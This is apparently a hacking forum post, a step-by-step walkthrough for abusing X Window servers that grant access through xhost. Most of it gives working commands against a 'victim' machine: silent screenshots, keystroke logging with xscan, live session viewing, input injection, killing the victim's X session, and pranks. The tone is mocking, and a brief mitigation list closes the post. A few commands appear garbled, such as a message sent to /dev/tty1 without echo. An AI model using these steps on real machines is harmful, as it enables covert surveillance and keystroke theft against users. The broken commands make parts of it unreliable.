X: 6000-6063 (TCP) Service Abuse

X: 6000-6063 (TCP) Service Abuse

By ghost | 10319 Reads |

0     0

The X Window System is just a GUI front end to Unix and Linux Operating Systems, it is at the same time a network-transparent window system. This service runs on TCP and UDP ports 6000 to 6063. This port assignment is global and widely used by most, if not all, *nix distributions.

Just like a regular service, it is susceptible to exploitation through a simple system misconfiguration, or root's (administrator) ignorance/laziness to secure it. What is this hole you might be wondering? Well, allow me to show you how deep it goes.

Know that a machine running an X Window System will have the "xhost" program that controls (add/delete) the hosts allowed to make connections to the X server. This is basic security, and can be violated by appending certain things to that configuration.

To show you how this mechanism works, we will simulate a situation where we have a LOCAL user (with hostname 192.168.0.4) and a REMOTE user (with hostname 192.168.0.5) establish a regular connection.

FYI: The connection uses the X library (Xlib) to send/recv data between client and server.

OK, now, under normal condition if the LOCAL user wanted to grant access to the REMOTE user, all that user would need to do is type in their terminal (shell):

[bash]$ xhost +192.168.0.5 192.168.0.5 being added to access control list

Also, the server (LOCAL) host running X would need to establish a connection to the remote client:

[bash]$ ssh -X 192.168.0.5 -l UsernameOfRemoteClient

We established the connection, because we need to configure the display settings (from the REMOTE client/user)…

[bash]$ setenv DISPLAY 192.168.0.4:0.0

And to test, to see if all worked, try running a GUI application, like xclock, from the REMOTE user's computer:

[bash]$ xclock &

If it worked, then you should see a clock pop up on the screen.

ANY user on the REMOTE system can access the LOCAL one, since the permission was granted by IP address, and it is not username specific. I'll leave your imagination to ponder why that could be a bad thing.

The REMOTE user can thus start doing some stuff on the LOCAL user (victim) … such as, say, take screenshots of the victim's session using "xwd", which is an X System window dumping utility:

[bash]$ xwd -display 192.168.0.4:0 -root > screenshot.xwd

This results in an image (screenshot.xwd) – To view it, simply use the "xwud" image display utility for X Window Systems, as such:

[bash]$ xwud -in screenshot.xwd

But, if you didn't want to save the screenshot and just wanted to look, simply do:

[bash]$ xwd -display 192.168.0.4:0.0 -root | xwud

It is also possible to activate their screensaver by issuing the following command:

[bash]$ xset -display 192.168.0.4:0.0 s activate

Changing their background is also childsplay. It is fun to do, nonetheless:

[bash]$ xsetroot -display remote.host:0.0 -solid black

Heck, mess with their mouse, simply to vex them.

[bash]$ xmodmap -display 192.168.0.4:0.0 -e "pointer = 2 1 3 4 5"

There is another handy utility which acts as a keylogger to capture remote X window keystrokes that issued the "xhost" command in the beginning. "xkey" is also similar to "xscan" in functionality.

[bash]$ xscan 192.168.0.4 Scanning hostname 192.168.0.4 … Connecting to 192.168.0.4 (192.168.0.4) on port 6000 … Connected. Host 192.168.0.4 is running X. Starting keyboard logging of host 192.168.0.4:0.0 to file KEYLOG192.168.0.4:0.0

This places the LOCAL user's keystrokes in the "KEYLOG192.168.0.4:0.0" file. mmm… Juicy! "xkey" is also similar to "xscan" in functionality. Look at it's usage and switches for more information.

Ah! better yet, there is another utility, called "xwatchwin", which displays the remote user's (192.168.0.4) X session in a real time GUI. KINCHOI!

Furthermore, "xremote" allows an attacker to send mouse and keyboard events to a remote X session. You must be thinking of Matrix! I'm right there with you.

Now, to do the "Wake Up, Neo" trick, tunnel your X session through SSH (it's not that complex, trust me). But having r00t access would be great! So, exploit it remotely, or elevate priviledges once logged in as a regular user. Assuming you logged in as r00t, issue the following command to our victim (192.168.0.4):

[bash]$ ssh -X username@192.168.0.4

Remember, we're still doing this to our poor fella, "LOCAL" user/victim. Go to the terminal (shell).

[bash]$ ps aux | grep X

Remember the PID of X window system, and kill it ("kill X_PID#"), so the GUI is gone. This should bring them to a blank terminal.

Go ahead and send them your message, such as:

[bash]$ "Wake up, Neo." > /dev/tty1

If TTY1 is truly the terminal they're using, then all should be fine. If not, then check with "w", to see who is logged on and their terminal, as to readjust the destination of our subliminal message.

You can even do the same thing, but in the form of a pop-up window:

[bash]$ xmessage -display 192.168.0.4:0.0 "Wake up, Neo."

NOW, imagine what would happen if the LOCAL user (victim) misconfigured, or was too lazy to complete the configuration by doing:

[bash]$ xhost +

That, by itself, allows ALL connections to the machine it was type on. PwNage will be done to the machine that does this!

To protect your assets:

• Block ports 6000 to 6063 at your firewall. It should disable external hosts from connecting to the X Server.
• Using "xauth" to encrypt X Window System connections is a better and safer alternative to remotely login to X Servers.
• It's not a bad practice to check $HOME/.Xauthority or doing "xauth list" in the terminal every now and then.
• To check for authentication information and allowed hosts do: "cat /etc/XD.hosts"
• Also, if you suspect that you might have added someone by mistake, use: "xhost -192.168.0.5"
• If you've panicked and think the world has access to your box, use "xhost -"

TOOLS :: xscan > http://www.bournemouthbynight.co.uk/tools/xscan2.c :: xkey, xauth, xwatchwin > www.packetstormsecurity.org/ :: xremote > www.infa.abo.fi/~chakie/xremote/

RESOURCES http://www.xfree86.org/current/xhost.1.html http://www.honeynet.org/challenge/results/submissions/addam/toolkit.txt http://www.unixreview.com/documents/s=1238/urm0102e/hacking_exposed_ch08.pdf